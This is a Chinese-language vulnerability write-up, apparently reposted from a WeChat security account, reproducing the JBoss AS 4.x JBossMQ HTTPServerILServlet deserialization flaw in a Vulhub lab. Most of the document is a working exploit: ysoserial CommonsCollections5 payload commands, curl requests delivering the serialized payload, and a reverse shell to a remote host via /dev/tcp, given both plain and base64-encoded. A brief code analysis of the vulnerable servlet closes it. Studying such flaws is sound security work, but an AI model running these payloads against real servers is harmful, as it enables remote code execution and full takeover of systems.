影响范围
JBoss AS <=4.x
漏洞概述
在JBoss AS 4.x及之前版本的JbossMQ实现过程中,JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可构造序列化数据利用该漏洞来执行任意代码并获取服务器端的权限
环境搭建
在这里我们使用Vulhub来构建环境:
docker compose up -d
环境启动后访问地址为:
http://your-ip:8080
命令执行
漏洞存在该路径下/jbossmq-httpil/HTTPServerILServlet
Step 1:创建文件
利用在线载荷生成工具生成载荷:
#构造载荷
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/success.sh' > 2.ser
#执行载荷
curl http://192.168.204.137:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @2.ser --output 2.txt
反弹Shell
随后使用ysoserial.jar工具进行利用:
Step 1:首先生成要反弹shell的载荷(注意这里的输入输出重定向方向哦"<&1",即将输入输出全部重定向到远程主机,反向shell)
https://ares-x.com/tools/runtime-exec
/bin/bash -i >& /dev/tcp/192.168.204.144/4444<&1
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjA0LjE0NC80NDQ0PCYx}|{base64,-d}|{bash,-i}
Step 2:使用ysoserial生成反序列化载荷
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjA0LjE0NC80NDQ0PCYx}|{base64,-d}|{bash,-i}" > 1.ser
Step 3:使用CURL发送请求并成功收到反弹的shell
curl http://192.168.204.137:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser --output 1.txt
漏洞分析
从docker中提取整个Jboss文件到本地:
docker cp 4f5a65ca9830:/opt/jboss /home/jboss
压缩文件夹
zip -r jboss.zip jboss
随后解压后使用IDEA打开
紧接着我们来到server/default/deploy/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/web.xml
随后跟进到类org.jboss.mq.il.http.servlet.HTTPServerILServlet
,此时如果是
POST传递的话,会触发processRequest方法
随后可以看到这里会进行一次反序列化操作,存在反序列化漏洞:
/jbossmq-httpil/HTTPServerILServlet/*
参考链接
https://github.com/joaomatosf/JavaDeserH2HC
原文始发于微信公众号(七芒星实验室):JBoss 4.x JBossMQ JMS反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论